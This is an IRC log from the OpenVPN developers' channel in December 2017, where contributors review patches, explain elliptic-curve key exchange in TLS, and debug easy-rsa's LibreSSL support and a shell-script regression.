<@ordex> let's hope he will click that mail 22:44 <@ordex> : 22:44 <@ordex> :D 22:47 < tincantech> ordex: please don't waste your time on it .. if it really gets to be a problem i am sure mattock will be on it like a tonne of bricks ;) 22:55 < tincantech> he he .. unless you succome to "the power" .. like me on the forum ! (novaflash .. you sarcarstic carnt) 22:56 < tincantech> hmm .. looks like the <slack-portal> died again .. 23:48 <@ecrist> what? 23:49 <@ecrist> ordex: yes, we have control of the mailing list members 23:49 <@ordex> ecrist: check that guy that is complaining. we told him several times to unsubscribe but for some reason he is not able to 23:54 <@ecrist> which guy? 23:55 -!- Irssi: #openvpn-devel: Total of 36 nicks [9 ops, 0 halfops, 2 voices, 25 normal] 23:57 <@ecrist> tincantech: that was DEFINATELY spam 23:58 <@ecrist> ordex: which list and which user? 23:59 <@ordex> ecrist: sameer.s.athaley <sameera.athaley@gmail.com> on openvpn-devel 23:59 <@ordex> check his last message in reply to "Re: [Openvpn-devel] [PATCH] mbedtls: fix typ0 in comment" --- Day changed Wed Dec 06 2017 00:00 <@ecrist> heh 00:00 <@ecrist> hasn't bothered to read the message footer, eh? 00:01 <@ordex> he said he tried more than once but it did not work .... 00:01 <@ordex> I also hit unsubscribe for him this time :P 00:01 <@ordex> but not sure what's wrong with this guy 00:02 <@ecrist> I've unsubscribed the user. 00:03 <@ecrist> ordex: see, all you have to do is ask. :) 00:03 <@ordex> eheh 00:03 <@ecrist> good evening, btw. ;) 00:09 <@ordex> or good morning 00:09 <@ordex> wherever we are 00:09 <@ordex> :) 03:59 <@dazo> tincantech: no worries, no hard feelings :) 04:00 <@dazo> I might have been a bit rough on the edges myself too, so sorry about that! 04:02 <@dazo> btw ... nice trick with "--show-ciphers --show-digests --show-tls --show-curves" ... I didn't know that was possible :) 04:03 <@dazo> (that's the thing with lots of James code .... you've dug into it many times, feel you know it quite well, and then *bang* a new feature/detail appears) 04:04 <@dazo> ordex: no, we don't support ECC related ciphers on the data channel .... but, and I might be completely wrong here, I thought ECC was mostly related to asymmetric encryption, not symmetric 04:05 <@dazo> syzzer: ^^^^ how wrong am I? 04:05 <@ordex> ecc only asymmetric .. mmhhhh have to check 04:05 <@ordex> if so, then it does not make sense to talk about ecc and data channel 04:06 <@ordex> but then i wonder: what do people want when they say ECC support? just ECC certificates? 04:06 <@ordex> but those I think we do support 04:07 <@dazo> yes, I'm running a setup with EC certificates ... so that works definitely 04:08 <@ordex> yap, expected so 04:09 <@dazo> "Control Channel: TLSv1.2, cipher TLSv1/SSLv3 ECDHE-ECDSA-AES256-GCM-SHA384, 521 bit EC, curve: secp521r1 04:09 <@dazo> " 04:10 <@ordex> yeah 04:10 <@ordex> that's for the key exchange I guess (?) 04:10 <@dazo> yeah 04:10 <@ordex> ECDHE-ECDSA << this part here 04:10 <@ordex> ok 04:10 <@dazo> exactly 04:10 <@ordex> makes sense 04:10 <@dazo> and the key is using "521 bit EC, curve: secp521r1" 04:11 <@ordex> yap 04:11 <@ordex> whetever that means 04:11 <@ordex> :D 04:11 <@dazo> :-P 04:15 <@dazo> "Elliptic-curve cryptography (ECC) is an approach to public-key cryptography based on the algebraic structure of elliptic curves over finite fields." https://en.wikipedia.org/wiki/Elliptic-curve_cryptography 04:15 <@vpnHelper> Title: Elliptic-curve cryptography - Wikipedia (at en.wikipedia.org) 04:16 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 276 seconds] 04:16 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 04:16 <@dazo> now ... this section is interesting: https://en.wikipedia.org/wiki/Elliptic-curve_cryptography#Quantum_computing_attacks 04:16 <@vpnHelper> Title: Elliptic-curve cryptography - Wikipedia (at en.wikipedia.org) 04:17 <@ordex> it's funny how I have studied most of this stuff in the algebraic course but I have no clue how it is applied to cyrptography :D 04:18 <@dazo> heh :) 04:19 <@dazo> Well, considering I never completed the university at all (I got a well paid job after 6 months at the uni) ... you are the smarter one of us :-P 04:19 <@ordex> lol dunno 04:20 <@ordex> any reason why EC should preferred compared to classic RSA ? 04:20 * cron2 studied quite a bit about quantum physics, but none of this explains quantum computing attacks on crypto... :) 04:21 <@ordex> :D 04:21 <@cron2> ordex: syzzer explained that part - as computing power (non-quantum) grows, increasing RSA bit length only buys you so much, but EC is (supposedly) much harder to brute-force 04:22 <@ordex> I see 04:22 <@dazo> ordex: essentially faster TLS handshake 04:22 <@ordex> but if we get enough quantum power, then EC is 'easier' to break than RSA 04:22 <@ordex> dazo: ah right, EC is faster to compute 04:23 <@dazo> but we're still far from having a QC with enough Qbits to tackle EC as it is today .... need over 4000 qbits 04:24 <@ordex> yeah 04:24 <@dazo> so for the next 5-10 years, EC is probably fairly safe for most users ... unless there is a paradigm shift in QC which makes it easier and faster to get more qbits 06:17 <@dazo> ordex: you got git-pw to work? 06:19 <@dazo> my "git pw {bundle,series,patch} list" are all empty :/ 06:23 <@dazo> I call show/apply patches at least 06:57 <@ordex> dazo: it workes, but iirc the list was not matching what was on the online list 06:57 <@dazo> ahh, right ... I vaguely remember now .... well, for use my list does for sure not match the online one :-P 06:58 <@dazo> for *sure 06:58 <@ordex> :D 07:02 <@cron2> re 07:02 * cron2 successfully avoided *two* meetings today :-) (work meeting just got canceled) 07:03 <@ordex> dazo: with "$ git pw patch list" I get the list 07:03 <@ordex> dazo: did you set token and server in your git config ? 07:04 <@cron2> dazo: if you go about merging patches, let me know so I'll leave the tree alone then 07:05 <@cron2> otherwise I'll go and do a bit of patch merging tonight 07:15 <@dazo> ordex: yeah ... token and all works ... 'git pw patch apply' and 'git pw patch show' works as expected 07:19 <@dazo> cron2: I'll have a look at a few things ... this afternoon ... but fairly busy 07:19 <@ordex> and list ? 07:19 <@dazo> ordex: empty 07:20 <@dazo> so seems authentication and basic stuff works ... just that there's something odd going on with the queries 07:25 <@ordex> dazo: might be the same reason why i get a bogus list here 07:25 <@dazo> yeah, that's what I'm thinking as well 07:46 < tincantech> dazo: thanks :-) we are good (phew) 07:46 < tincantech> ecrist: also good :-) 08:16 < tincantech> ordex: sorry to stamp on that tunnelbear thread ;) 08:31 <@ordex> np :] 09:00 <@syzzer> seems you got to all conclusions yourself already 09:01 <@syzzer> ECC is asymmetric only -> does not apply to data channel 09:02 <@syzzer> ECDH is the key exchange (elliptic curve diffie-hellman), and has almost nothing to do with certificates 09:02 <@syzzer> except that if an ECDSA cert is used, TLS prefers to use the same curve (i.e. the P-521 of dazo's certs) for ECDH 09:02 <@syzzer> but that's not neccesarily 09:03 <@syzzer> then ECDSA (elliptic curve digital signature algorithm) is used to sign the key exchange, so nobody can man-in-the-middle it 09:04 <@syzzer> or RSA is used, if you have RSA certs. RSA can also sign an ECDH key exchange. 09:05 <@ordex> syzzer: cool, thanks for the explanation 09:14 <@dazo> ordex: looking at your "Allow learning iroutes" (115) patch .... just wondering what you see as the benefit of sending msglevel to the improved mroute_learnable_address() function .... I personally don't see why we couldn't skip this and just have D_MULTI_LOW inside that function directly 09:14 <@ordex> let me check .. it has been quite some time since I sent it 09:14 <@dazo> :) 09:15 <@ordex> mhhh there must be a reason .. either i copied the format from somewhere else .. 09:15 <@dazo> you also create a gc_arena outside that function, to pass it to the function ... why not keep it inside that function, if not useful outside? 09:16 <@ordex> I am not creating a new one 09:16 <@ordex> I am just expanding the scope of the one that already existed 09:16 <@dazo> ahh! 09:16 <@dazo> duh, yeah 09:16 <@dazo> I noticed now 09:16 <@dazo> looking at the patch via meld made it clearer :) 09:17 <@ordex> eheh 09:17 <@ordex> yeah I can't find a good reason for now having the msglevel inside 09:17 <@ordex> maybe I had the intention of using that function somewhere else 09:17 <@ordex> then it got dropped 09:18 <@ordex> yeah I think we could get rid of that argument and use a static msglevel inside 09:18 <@dazo> sounds good :) 09:19 <@ordex> will send v3 then :) 09:19 <@dazo> thx! 09:20 <@ordex> thank you ! 09:24 <@dazo> just deployed git master + this patch on a production server which depends on iroute ... and that seems to work :) 09:27 < tincantech> ordex: if you have spare time (unlikely) I found this very informative : https://blog.cloudflare.com/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/ 09:27 <@vpnHelper> Title: A (Relatively Easy To Understand) Primer on Elliptic Curve Cryptography (at blog.cloudflare.com) 09:38 <@dazo> I get associations to Gandalf the White when I see photos of Whitfield Diffie 09:45 <@ordex> patch incoming .. 09:49 <@ordex> landed :] 11:15 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 255 seconds] 11:18 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 11:18 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 14:00 <@dazo> ordex, cron2, mattock: Just completed a patch for tinyproxy which we should probably install and add to our test server, to test the http proxy support ... my more or less hackish patch is here: https://github.com/dsommers/tinyproxy 14:00 <@vpnHelper> Title: GitHub - dsommers/tinyproxy: tinyproxy - a light-weight HTTP/HTTPS proxy daemon for POSIX operating systems (at github.com) 14:02 <@dazo> not sure I have an enormous trust in the tinyproxy code, in particular not the basic auth stuff ... but it is probably somewhat better than what it was before my revamp ... but for testing, this should be more than good enough 14:15 <@dazo> ordex: I looked at privoxy as well, but that also seemed to be lacking user/pass authentication ... at least the docs I looked at 14:23 <@cron2> dazo: what does it do? 14:23 <@cron2> my local tests run through our corp http proxy, so that stuff is tested :) 14:25 <@dazo> ahh, tinyproxy is a simple non-caching http proxy server 14:26 <@dazo> by default it doesn't support authentication ... but there's a fork which adds that, which was fairly buggy ... so I fixed it 14:26 * dazo is testing the http proxy bugfix patch from ordex, which syzzer acked 14:27 <@dazo> and 2.4.4 fails to reconnect via another proxy ... while git master with patch manages to do that just fine 14:29 <@cron2> now that's a patch that wants to go into 2.4 as well :-) - "bugfix!" 14:29 <@dazo> :) 14:29 * dazo runs a few more tests before applying it :) 14:29 <@cron2> yeah, if I did not have access to the corp squid proxy, tinyproxy (+ auth patch) might be a good thing to add 14:30 * cron2 needs to think up how to integrate that on the test server... can you push your fixed branch somewhere? 14:30 <@cron2> (fixed tinyproxy branch, that is) 14:30 <@dazo> https://github.com/dsommers/tinyproxy 14:30 <@vpnHelper> Title: GitHub - dsommers/tinyproxy: tinyproxy - a light-weight HTTP/HTTPS proxy daemon for POSIX operating systems (at github.com) 14:30 <@dazo> I was kind enough to send a pull request even :-P 14:42 <@dazo> when valgrind even don't report any leaks after pulling up and down 3 different http proxy servers and openvpn reconnecting to those instances being up (with different proxy username/passwords) ... That smells like a good patch, especially when ping packets are transported when connections are established :) 14:46 <@dazo> okay, discovered another bug though :-P 14:47 <@dazo> if the credentials in the auth file provided to --http-proxy .... it seems to block 14:48 <@dazo> and that seems like a regression 14:49 <@dazo> hmmmm 14:51 <@dazo> nope ... that seems like a corner case .... hard to trigger 14:57 <@dazo> or is it just a very long timeout .... 14:59 <@dazo> I have three connection blocks, two having the same remote server, but with different auth credentials - in the order "valid (port 8081), valid (port 8083), wrong (port 8081)" .... then stopping port 8083 ... and there's a long wait when the http-proxy rejects the wrong creds 15:00 <@dazo> 2 minutes time out 15:00 <@dazo> this is within what can be expected of an invalid config 15:00 <@dazo> it reconnects properly after 2 minutes 15:11 <@vpnHelper> RSS Update - gitrepo: reload HTTP proxy credentials when moving to the next connection profile <https://github.com/OpenVPN/openvpn/commit/86b58ceb29cf1cc3acf32e2ff370d9a4af68c051> 15:16 <@dazo> one more ... and I'm calling it a day :) 15:36 <@dazo> cron2: I'm all done for now ... last commit pushed out 15:39 -!- Netsplit *.net <-> *.split quits: @syzzer 15:40 <@vpnHelper> RSS Update - gitrepo: Allow learning iroutes with network made up of all 0s (only if netbit… <https://github.com/OpenVPN/openvpn/commit/a19c56db9bd42b7b8c4a8f353f7db92781397cec> 15:43 < tincantech> all this buildbotting is driving my laptop nuts ! 16:02 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 16:02 -!- ServerMode/#openvpn-devel [+o syzzer] by moon.freenode.net 21:02 <@ordex> did my patch break macosx ? 21:18 <@ordex> tincantech: now that the ipv6pf patches are out there, you could test them and send your tested-by if you feel like :) --- Day changed Thu Dec 07 2017 01:38 <@vpnHelper> RSS Update - tickets: #964: connection fails when VirtualBox is installed <https://community.openvpn.net/openvpn/ticket/964> 01:44 <@vpnHelper> RSS Update - tickets: #965: openvpn fails on reconnect when server is restarted <https://community.openvpn.net/openvpn/ticket/965> 01:48 <@ordex> the weather forecast for today is quite cloudy with heavy drop of patches in the afternoon 01:48 <@ordex> the general public is advised to stay indoor and keep windows and doors closed. thank you 01:48 <@ordex> : 01:48 <@ordex> :D 01:55 < tincantech> ordex: i don't see any ipv6pf patches ? 01:56 <@ordex> wait 01:56 <@ordex> https://patchwork.openvpn.net/project/openvpn2/list/?series=78 01:56 <@vpnHelper> Title: OpenVPN 2 - Patchwork (at patchwork.openvpn.net) 01:56 <@ordex> can you see that? you should 01:56 <@ordex> there are two patches. you can search them in your inbox 01:58 < tincantech> how long ago did you send them to the ML ? 01:58 <@ordex> there is the date on the page 01:58 <@ordex> Dec 2nd 01:58 <@ordex> 5 days ago 02:02 < tincantech> yep found 'em ;) .. I'll see what I can do for ya ! 02:03 < tincantech> don't know why i missed them before ?:/ 02:04 <@ordex> no problem :) they need to cook for some time anyway 02:04 < tincantech> ah .. it was a saturday (so not really paying attention) and then i was out all day sunday so they slipped under my radar 02:04 <@ordex> no excuse !! 02:04 <@ordex> :D 02:04 < tincantech> cheeky! 02:05 <@ordex> ahah 04:27 <@dazo> plaisthos: I see you were involved in the patch introducing lz4-v2 .... but we're lacking proper documentation of it; is that something you could look into? 07:45 <@plaisthos> dazo: we wanted to do a better compress selection but never did anything on that 07:45 <@plaisthos> but yeah I can look into that 08:00 <@dazo> plaisthos: thx! 08:40 < tincantech> ecrist: I believe I have figured out what easyrsa #74 is caused by ;-) 08:48 -!- Netsplit *.net <-> *.split quits: @syzzer, @vpnHelper, @dazo, @cron2, pekster 08:49 < tincantech> choppitty-chop the net ! 08:49 < tincantech> ecrist: i have a partial fix but it's going to need some collaboration 08:50 < tincantech> the main part of the problem is that libressl does not like your openssl-easyrsa.cnf file (but i have not figured out why) 08:53 < tincantech> if you stuff the original openssl.cnf file in there instead it works upto a point .. i think i can work the rest out with some time (it fails now because it is looking for the CA in the wrong place but I am sure that can be fixed) 08:54 -!- ServerMode/#openvpn-devel [+o ordex] by moon.freenode.net 08:55 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 08:55 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 08:55 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 08:55 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 08:55 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:55 -!- ServerMode/#openvpn-devel [+oooo syzzer cron2 dazo vpnHelper] by moon.freenode.net 09:11 < tincantech> ecrist: i think we have another spammer .. they look for posts with thousands of views and then add some stupid comment with a link to a vpn provider .. https://forums.openvpn.net/viewtopic.php?f=29&t=22916&p=74860&view=show#p74860 09:11 <@vpnHelper> Title: Open Ports on Access Server to port forward to Client VPN - OpenVPN Support Forum (at forums.openvpn.net) 11:31 < tincantech> ecrist: forget that easyrsa thing .. i see now .. libressl will not allow $ENV:: 11:46 <@ecrist> Correct. 11:47 <@ecrist> I'm not sure I know a proper way to fix it, short of taking $ENV:: and writing them out to a temporary file. 11:49 <@ecrist> tincantech: that's certainly a spammy post. 11:50 <@ecrist> I'm liking this soft delete stuff. easy to see what was posted, what the action was, and who made the action and why 11:53 < tincantech> ecrist: yeah soft delete is abso fine with me :) 11:54 < tincantech> as for easyrsa .. how about a post on server-fault with a nice big bounty ! ;) 12:08 < tincantech> while it is a bit of a hassle, I don't think it would that difficult to write out a temp file .. i might even have a go at it myself :D 12:12 * tincantech is forking easyrsa3 12:47 < tincantech> i think easyrsa is forking me now ! 15:16 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Ping timeout: 246 seconds] 15:46 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 260 seconds] 15:48 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 15:48 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 15:48 -!- ServerMode/#openvpn-devel [+o ordex] by moon.freenode.net 15:49 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 15:49 -!- mode/#openvpn-devel [+o cron2] by ChanServ 15:54 < openvpn-slack> <andrew> sorry for the join spam guys 15:54 < openvpn-slack> <andrew> needed to create a systemd service for this thing 15:59 < tincantech> andrew: hey hey :) 16:00 < tincantech> ecrist: it's a bit rough round the edges but I just built a libressl pki with easyrsa3 :D 16:00 < openvpn-slack> <andrew> hiii tincantech 16:01 < tincantech> andrew: so are you gonna be feeding that beast a little more so it don't die again ;-) 16:02 < openvpn-slack> <andrew> yes sir! hoping this *fixes* it, we will see 16:03 < tincantech> hehe .. good /old/ systemd 16:04 * cron2 remarks that IRC can be used just fine in the old-fashioned way with an IRC client, and no systemd involvement 16:14 < openvpn-slack> <andrew> :P 16:23 < tincantech> "the old-fashioned way" .. isn't that the point of progress .. to jump through even more hoops ? 16:28 < openvpn-slack> <andrew> ^^^ 16:42 -!- ServerMode/#openvpn-devel [+o ordex] by moon.freenode.net 18:10 <@ordex> aloha 18:31 < tincantech> eh up ;) 18:36 <@ordex> :) 18:52 < tincantech> ordex: i did not get chance to test the PF today because of easyrsa3/libressl troubles .. plus i want to test it for linux + windows .. but i will do it :) 18:53 <@ordex> sure no problem :) 19:00 < tincantech> I have no doubt it will work perfectly btw ;) 19:01 <@ordex> lol 19:01 <@ordex> I have doubts :D 19:01 < tincantech> ooo .. well in that case i better test it ! 19:01 <@ordex> better to be ready to brace 19:01 <@ordex> all the time 19:01 <@ordex> :) 19:01 < tincantech> hehe 19:18 < tincantech> ecrist: I almost have a working libressl but not quite .. script is twisting in the wind but it can be done ;) --- Day changed Fri Dec 08 2017 00:22 <@ordex> syzzer: do you know what it means when CTR (for AES256) is used in BigEndian or LittleEndian mode ? 00:23 <@ordex> is that related to the endianess of the counter? 02:13 <@vpnHelper> RSS Update - gitrepo: mbedtls: fix typ0 in comment <https://github.com/OpenVPN/openvpn/commit/c68a025a1ca687c19d7ae8599464f768b7525df5> 02:14 <@syzzer> ordex: as far as I know, CTR mode is always network-order (ie, big endian) 02:15 <@ordex> mh ok..thanks for the hint 02:15 <@syzzer> but at least technically, you can represent the counter in little endian too ofc 02:18 <@ordex> yeah, although this is handled internally to the crypto library so I shouldnot worry about that I guess 03:00 <@ordex> cron2: configure: WARNING: unrecognized options: --disable-crypto << at least it is not my fault this time :D 03:26 <@syzzer> can I tempt someone to review the buffer_list_aggregate patches? That's one of the point still open from the audits, and should be quite trivial to review now the unit tests are in. 03:27 <@cron2> ordex: of course it is, before your patches this was a nice and regular option! 03:27 <@ordex> :-P 03:27 <@cron2> (but indeed, thanks for the reminder - mattock needs to remove these build variants from buildbot) 05:37 <@mattock> cron2, dazo, ordex, and everyone else: patchwork does not support setting the patch state using hint headers after the initial mail 05:38 <@mattock> see commit fec4267113abb18 in patchwork repository (https://github.com/getpatchwork/patchwork) 05:38 <@vpnHelper> Title: GitHub - getpatchwork/patchwork: Patchwork is a web-based patch tracking system designed to facilitate the contribution and management of contributions to an open-source project. (at github.com) 05:38 <@mattock> also see this email discussion: https://lists.ozlabs.org/pipermail/patchwork/2012-April/000700.html 05:38 <@vpnHelper> Title: [PATCH 1/2] Use an explicit initial default patch state (at lists.ozlabs.org) 05:46 <@syzzer> so I guess this means adding a patchwork API call to the apply script of the maintainers instead 06:08 <@syzzer> the weather today also includes patch storms :p 06:19 <@cron2> mattock: now that's somewhat annoying... 06:21 <@syzzer> cron2: reading the mail mattock links to, it does make sense 06:47 <@cron2> syzzer: well... anyone can set ack bits, and that's not a problem? :-) - they could do pgp or smime auth... 06:48 <@syzzer> cron2: ack is less a problem, I'd say, because the maintainer still has to decide 'how do I value this ack'. 06:49 <@syzzer> anyway - just wait until dazo hacks an API call into your script ;-) 07:10 <@cron2> yeah 07:46 < tincantech> ecrist: ping 07:47 <@ecrist> qpong 07:48 < tincantech> hi .. question: 07:48 < tincantech> I have got a routine to create a .cnf file but I am having some trouble integrating it 07:49 < tincantech> I think the easiest way will be to have a new option: ./easyrsa create-cnf (or something like that 07:49 < tincantech> any thoughts before i push on ? 07:51 < tincantech> i was trying to initegrate it into init-pki 07:52 < tincantech> this is for libressl obviously 08:03 <@ecrist> no, I'd suggest, in the case of libressl, write the configuration on the fly. 08:04 < tincantech> yeah .. i think I have come at it from the wromg angle in fact .. 08:06 < tincantech> ok .. no worries .. i'll try a different approach 08:07 <@ecrist> Feel free to poke at the other low hanging fruit in the ticket queue, as well. I delved into the Travis-CI stuff yesterday. There's potential there, but some of the checks seem overly pedantic. They don't seem to be aware of values that will be present in the environment, either, so it's flagging those variables as undefined, and failing the "build" 08:10 < tincantech> I understand this libressl problem better than travis-CI and I do have a working solution (almost) so i'll keep on this track for now and submit something in due course :) 08:11 < tincantech> just needed a pointer to get me off the current path 08:12 <@ecrist> whatever you do, you'll need to make certain you don't break the openssl work flow 08:12 <@ecrist> https://xkcd.com/1172/ 08:12 <@vpnHelper> Title: xkcd: Workflow (at xkcd.com) 08:13 < tincantech> hehe :) 08:33 < tincantech> https://www.xkcd.com/45/ 08:33 <@vpnHelper> Title: xkcd: Schrodinger (at www.xkcd.com) 20:16 <@ordex> it's raining patches!!! omg 22:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:10 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 23:06 -!- Netsplit *.net <-> *.split quits: @syzzer, @vpnHelper, @dazo, @cron2, pekster 23:11 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 23:11 -!- ServerMode/#openvpn-devel [+o dazo] by moon.freenode.net 23:13 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 23:13 -!- ServerMode/#openvpn-devel [+o vpnHelper] by moon.freenode.net 23:14 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 23:14 -!- ServerMode/#openvpn-devel [+o syzzer] by moon.freenode.net 23:16 <@ordex> syzzer: will try to have a look at those ugly buffer patches today :D 23:16 <@ordex> yuppieee 23:39 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 23:39 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 23:39 -!- ServerMode/#openvpn-devel [+o cron2] by moon.freenode.net --- Day changed Sat Dec 09 2017 04:17 <@ordex> syzzer: is it expected that this patch does not apply on master: https://patchwork.openvpn.net/patch/101/ ? 04:18 <@vpnHelper> Title: [1/5] buffer_list_aggregate_separator(): add unit tests - Patchwork (at patchwork.openvpn.net) 04:18 <@ordex> of course ... it has been applied already 04:19 <@ordex> mh also https://patchwork.openvpn.net/patch/103/ does not apply 04:19 <@vpnHelper> Title: [2/5] buffer_list_aggregate_separator(): update list size after aggregating - Patchwork (at patchwork.openvpn.net) 18:45 < tincantech> https://xkcd.com/457/ 18:45 <@vpnHelper> Title: xkcd: Frustration (at xkcd.com) 22:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:10 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Sun Dec 10 2017 02:37 <@ordex> heya 07:07 < tincantech> ordex: ho! 07:08 < tincantech> ecrist: turns out .. easyrsa3 support for libressl is easy and done .. I will submit a patch via github for you to review 11:13 < tincantech> ecrist: btw, i found a bug .. sourcing vars does not expand $EASYRSA ;P 15:58 -!- cthuluh_ is now known as cthuluh --- Day changed Mon Dec 11 2017 02:55 <@vpnHelper> RSS Update - tickets: #966: Expired certificate used from Windows trust store <https://community.openvpn.net/openvpn/ticket/966> 04:48 <@syzzer> ordex: hm, yeah, that's because 1/5 needed a v2 05:15 <@ordex> syzzer: but 1/5 has been applied already, no? so 2/5 needs a v2 now ? 05:34 <@syzzer> yeah, I'll check it out 05:35 <@ordex> thanks 05:42 <@syzzer> ordex: done 05:44 <@ordex> thanks! 07:43 <@ecrist> tincantech: I don't see any pull requests from you. 08:10 < tincantech> ecrist: yeah .. git and me don't ci2i .. it is coming soon 08:11 <@ecrist> worst case, you can just send me your patches, too. 08:11 < tincantech> it's ok .. i want to learn git 08:11 <@ecrist> namely, if you've cloned the repo, you should be able to do a git add <files> then a git commit -s 08:12 < tincantech> i did .. but then i think something changed in the mean time .. there's a load of new 'local vars' 08:12 <@ecrist> git pull 08:12 < tincantech> yup 08:13 <@ecrist> I made a number of changes, removing "local" in a couple scripts 08:17 < tincantech> there's obviously "tricks" to git which I don't understand yet .. but I'll get there :) 08:30 <@ordex> don't fight git ... get along with it .. said the wise man 08:33 < tincantech> hehe ;) .. bloody linus T .. having watched some utube vids we know what a stubborn git he is :D 08:51 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 252 seconds] 08:55 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 08:55 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 09:01 < tincantech> ecrist: you have *broken* easyrsa3 .. clone master and run init-pki twice and see 09:02 < tincantech> hang on .. it could be me ! 09:03 * ordex bets 09:04 <@ecrist> tincantech: keep in mind master may be broken at any given time 09:04 <@ecrist> and if you really want to help the project, jump on writing some travis-ci tests 09:06 < tincantech> ecrist: openvpn/easy-rsa master is broken :( it is not me 09:08 < tincantech> ordex: cheeky ****er 09:08 < tincantech> ecrist: I'll have a look at travis some time 09:10 <@ecrist> tincantech: how is it broken? 09:10 <@ecrist> https://pastebin.ca/3946649 09:29 < tincantech> ecrist: this is what i get with a fresh clone of master : https://0paste.com/19251 09:30 <@ecrist> odd, I don't see that 09:31 < tincantech> i cloned that about 1/2 hour ago 09:33 < tincantech> i g2g out for a while but i'll have anothrr look later 09:46 <@ecrist> tincantech: I tested from a fresh clone this morning. I'll try on another system this evening. My test today was a FreeBSD box with real "sh". 09:46 <@ecrist> That's sort of my acid test. 13:25 < tincantech> ecrist i just did a quick test on FreeBSD 11 and the same thing happens 13:41 < tincantech> my freebsd is soooo out of date .. i don't think it has been powered on for over a year 13:47 <@ecrist> tincantech: 13:47 <@ecrist> ecrist@terrance:~/easy-rsa/easyrsa3-> uname -a 13:47 <@ecrist> FreeBSD terrance.secure-computing.net 10.3-RELEASE-p11 FreeBSD 10.3-RELEASE-p11 #0: Mon Oct 24 18:49:24 UTC 2016 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64 13:48 <@ecrist> at this point, I'm not able to reproduce your problem. 14:28 < tincantech> ecrist: i have tested this on Ubuntu14(linuxMint), Arch Linux, FreeBSD 11 and debian8 .. all cloned from master today and this is what i get every time https://0paste.com/19254 14:30 < tincantech> ~/ersa3/newmast/easyrsa3$ ./easyrsa 14:30 < tincantech> ./easyrsa: 62: ./easyrsa: text: not found 14:32 < tincantech> you removed "local text opts" .. the line now reads "text opts" ;) 14:37 <@cron2> has noticed that the buildslave named slave-tincan-debian-85-amd64 went away 14:41 < tincantech> cron2: seriously low on RAM my hyper-V is 14:43 < tincantech> although i have not rec'd email yet (checking gmail spam .. again!) 15:17 < tincantech> https://www.youtube.com/watch?v=GnBbhXBDmwU 15:48 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 15:50 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 15:50 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Tue Dec 12 2017 02:26 <@mattock> topics for tomorrow's meeting? 02:27 <@syzzer> libressl? 02:27 <@syzzer> I should be able to make it tomorrow 02:28 <@mattock> excellent! 02:29 <@mattock> what about libressl? I don't see any libressl patches in patchwork 02:30 <@mattock> "do we want to support LibreSSL"? 02:52 <@cron2> "how many hoops are we going to jump through to support LibreSSL" 02:52 <@cron2> we do want to support OpenBSD, which comes with LibreSSL -but there's a few different appraoches here 02:53 * cron2 can make tomorrow! 02:55 <@mattock> I will prepare the agenda now 03:00 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2017-12-13 03:00 <@vpnHelper> Title: Topics-2017-12-13 – OpenVPN Community (at community.openvpn.net) 03:01 <@mattock> invitation sent 03:46 <@ordex> anybody willing to create a quick pki with easyrsa on a system using openssl-1.1 ? I am still puzzled because some people are able to create encrypted private keys that mbedTLS can't decrypt 05:02 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 255 seconds] 05:18 < eworm> ordex: Do you need server and client certificates? 05:21 < eworm> ordex: where to send it? 05:21 <@ordex> eworm: just client would be enough. I want to see if openvpn is able to decrypt the key first of all 05:21 <@ordex> eworm: a@unstable.cc please 05:23 < eworm> ordex: passphrase for all keys is 'ordex' ;) 05:23 <@ordex> thanks :) 05:24 < eworm> Built on recent Arch Linux with openssl 1.1.0.g-1 06:00 < eworm> ordex: does that help? 06:13 <@ordex> eworm: it should! I haven't tried yet 06:13 <@ordex> I'll let you know 06:13 <@ordex> thanks for now 07:32 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 07:32 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 14:27 < tincantech> ecrist: any chance that change can get in soon ? https://github.com/OpenVPN/easy-rsa/commit/d3502a9d85cf7eaedd287b90334527152795c413#r26222863 